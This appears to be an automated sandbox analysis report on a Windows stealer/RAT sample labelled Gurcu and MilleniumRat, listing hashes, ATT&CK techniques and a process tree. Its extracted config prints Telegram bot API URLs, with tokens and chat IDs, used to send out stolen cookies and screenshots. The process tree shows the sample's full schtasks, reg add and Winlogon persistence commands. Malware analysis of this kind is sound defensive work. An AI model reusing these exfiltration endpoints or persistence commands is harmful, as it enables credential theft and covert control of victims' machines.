gurcu | e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-11-2024 11:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

main.exe
Size

5.6MB
MD5

3d3c49dd5d13a242b436e0a065cd6837
SHA1

e38a773ffa08452c449ca5a880d89cfad24b6f1b
SHA256

e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf
SHA512

dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00
SSDEEP

98304:nsl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UcR6s:nPOuK6mn9NzgMoYkSIvUcwti7TQlvciY

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getFile?file_id=BQACAgEAAyEFAASF2AHzAALo8GcwmpHR2dtAyM70jjraOkBJDfJlAAJvBAAC1teJRdByTtIrQtYZNg

https://api.telegram.org/bot7457548429:AAGMvKYWjBbGXayEC5uoksRl1i2BIy7ylDg/sendMessage?chat_id=6024388590

https://api.telegram.org/bot7457548429:AAGMvKYWjBbGXayEC5uoksRl1i2BIy7ylDg/getUpdates?offset=-

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Modifies WinLogon for persistence 2 TTPs 5 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Defender\\it-IT\\spoolsv.exe\", \"C:\\Windows\\IME\\cmd.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Defender\\it-IT\\spoolsv.exe\", \"C:\\Windows\\IME\\cmd.exe\", \"C:\\Program Files\\Uninstall Information\\MoUsoCoreWorker.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Defender\\it-IT\\spoolsv.exe\", \"C:\\Windows\\IME\\cmd.exe\", \"C:\\Program Files\\Uninstall Information\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Defender\\it-IT\\OfficeClickToRun.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Defender\\it-IT\\spoolsv.exe\", \"C:\\Windows\\IME\\cmd.exe\", \"C:\\Program Files\\Uninstall Information\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Defender\\it-IT\\OfficeClickToRun.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\smss.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Defender\\it-IT\\spoolsv.exe\""	ChainComServermonitor.exe

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	452	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3780	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4220	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1612	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4500	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4988	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5008	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2512	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2412	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4552	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1184	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	868	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2924	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2436	1920	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4320	1920	schtasks.exe	91

Downloads MZ/PE file

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	ChainComServermonitor.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	main.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	svchost64.exe

Executes dropped EXE 4 IoCs

pid	Process
2116	Update.exe
5004	svchost64.exe
1420	ChainComServermonitor.exe
3688	smss.exe

Loads dropped DLL 2 IoCs

pid	Process
4156	main.exe
2116	Update.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 11 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\smss.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\smss.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Windows\\IME\\cmd.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\Program Files\\Uninstall Information\\MoUsoCoreWorker.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Program Files\\Windows Defender\\it-IT\\OfficeClickToRun.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Program Files\\Windows Defender\\it-IT\\OfficeClickToRun.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Program Files (x86)\\Windows Defender\\it-IT\\spoolsv.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Program Files (x86)\\Windows Defender\\it-IT\\spoolsv.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Windows\\IME\\cmd.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\Program Files\\Uninstall Information\\MoUsoCoreWorker.exe\""	ChainComServermonitor.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
24	raw.githubusercontent.com
8	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\CSC32013B7DB9284D1F88B45CBC2762AB2.TMP	csc.exe
File created	\??\c:\Windows\System32\hnaorh.exe	csc.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3824	tasklist.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Defender\it-IT\e6c9b481da804f	ChainComServermonitor.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\69ddcba757bf72	ChainComServermonitor.exe
File created	C:\Program Files\Uninstall Information\MoUsoCoreWorker.exe	ChainComServermonitor.exe
File created	C:\Program Files\Uninstall Information\1f93f77a7f4778	ChainComServermonitor.exe
File created	C:\Program Files\Windows Defender\it-IT\OfficeClickToRun.exe	ChainComServermonitor.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\smss.exe	ChainComServermonitor.exe
File created	C:\Program Files (x86)\Windows Defender\it-IT\spoolsv.exe	ChainComServermonitor.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\spoolsv.exe	ChainComServermonitor.exe
File created	C:\Program Files (x86)\Windows Defender\it-IT\f3b6ecef712a24	ChainComServermonitor.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\IME\ebf1f9fa8afd6d	ChainComServermonitor.exe
File created	C:\Windows\IME\cmd.exe	ChainComServermonitor.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost64.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2092	PING.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4432	timeout.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	svchost64.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	ChainComServermonitor.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4268	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2092	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2924	schtasks.exe
2436	schtasks.exe
4220	schtasks.exe
4500	schtasks.exe
5008	schtasks.exe
2412	schtasks.exe
868	schtasks.exe
2512	schtasks.exe
1184	schtasks.exe
452	schtasks.exe
4552	schtasks.exe
4320	schtasks.exe
3780	schtasks.exe
1612	schtasks.exe
4988	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
4156	main.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe
2116	Update.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4156	main.exe
Token: SeDebugPrivilege	3824	tasklist.exe
Token: SeDebugPrivilege	2116	Update.exe
Token: SeDebugPrivilege	1420	ChainComServermonitor.exe
Token: SeDebugPrivilege	3688	smss.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2116	Update.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 4156 wrote to memory of 1420	4156	main.exe	94
PID 4156 wrote to memory of 1420	4156	main.exe	94
PID 1420 wrote to memory of 3824	1420	cmd.exe	96
PID 1420 wrote to memory of 3824	1420	cmd.exe	96
PID 1420 wrote to memory of 3556	1420	cmd.exe	97
PID 1420 wrote to memory of 3556	1420	cmd.exe	97
PID 1420 wrote to memory of 4432	1420	cmd.exe	99
PID 1420 wrote to memory of 4432	1420	cmd.exe	99
PID 1420 wrote to memory of 2116	1420	cmd.exe	100
PID 1420 wrote to memory of 2116	1420	cmd.exe	100
PID 2116 wrote to memory of 3180	2116	Update.exe	104
PID 2116 wrote to memory of 3180	2116	Update.exe	104
PID 3180 wrote to memory of 4268	3180	cmd.exe	107
PID 3180 wrote to memory of 4268	3180	cmd.exe	107
PID 2116 wrote to memory of 5004	2116	Update.exe	114
PID 2116 wrote to memory of 5004	2116	Update.exe	114
PID 2116 wrote to memory of 5004	2116	Update.exe	114
PID 5004 wrote to memory of 4492	5004	svchost64.exe	115
PID 5004 wrote to memory of 4492	5004	svchost64.exe	115
PID 5004 wrote to memory of 4492	5004	svchost64.exe	115
PID 4492 wrote to memory of 4252	4492	WScript.exe	116
PID 4492 wrote to memory of 4252	4492	WScript.exe	116
PID 4492 wrote to memory of 4252	4492	WScript.exe	116
PID 4252 wrote to memory of 1420	4252	cmd.exe	118
PID 4252 wrote to memory of 1420	4252	cmd.exe	118
PID 1420 wrote to memory of 2420	1420	ChainComServermonitor.exe	122
PID 1420 wrote to memory of 2420	1420	ChainComServermonitor.exe	122
PID 2420 wrote to memory of 1928	2420	csc.exe	124
PID 2420 wrote to memory of 1928	2420	csc.exe	124
PID 1420 wrote to memory of 4948	1420	ChainComServermonitor.exe	125
PID 1420 wrote to memory of 4948	1420	ChainComServermonitor.exe	125
PID 4948 wrote to memory of 3036	4948	csc.exe	127
PID 4948 wrote to memory of 3036	4948	csc.exe	127
PID 1420 wrote to memory of 4392	1420	ChainComServermonitor.exe	140
PID 1420 wrote to memory of 4392	1420	ChainComServermonitor.exe	140
PID 4392 wrote to memory of 2156	4392	cmd.exe	142
PID 4392 wrote to memory of 2156	4392	cmd.exe	142
PID 4392 wrote to memory of 2092	4392	cmd.exe	143
PID 4392 wrote to memory of 2092	4392	cmd.exe	143
PID 4392 wrote to memory of 3688	4392	cmd.exe	145
PID 4392 wrote to memory of 3688	4392	cmd.exe	145

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\main.exe
"C:\Users\Admin\AppData\Local\Temp\main.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpE7DF.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpE7DF.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 4156"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3824
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:3556
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4432
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3180
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4268
  - - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\svchost64.exe
      "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\svchost64.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:5004
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\pFG3Duil1NAbFHoInFFIi7JfPHXMZXRvb98S0ewJA0VkW.vbe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4492
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\oGgyulsi03j6EO3sjCC.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4252
        
        C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\ChainComServermonitor.exe
        
        "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor/ChainComServermonitor.exe"
        7⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1420
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ghtnprfx\ghtnprfx.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2420
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF364.tmp" "c:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\CSCEE596E2792E34875A618226CF24F78A2.TMP"
        9⤵
        
        PID:1928
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xa0po4ay\xa0po4ay.cmdline"
        8⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4948
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF3B2.tmp" "c:\Windows\System32\CSC32013B7DB9284D1F88B45CBC2762AB2.TMP"
        9⤵
        
        PID:3036
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ux23B9hjDE.bat"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4392
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:2156
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        9⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2092
        
        C:\Program Files (x86)\Windows Multimedia Platform\smss.exe
        
        "C:\Program Files (x86)\Windows Multimedia Platform\smss.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Defender\it-IT\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\it-IT\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Defender\it-IT\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Windows\IME\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Windows\IME\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Windows\IME\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 5 /tr "'C:\Program Files\Uninstall Information\MoUsoCoreWorker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 13 /tr "'C:\Program Files\Uninstall Information\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Defender\it-IT\OfficeClickToRun.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\it-IT\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Defender\it-IT\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
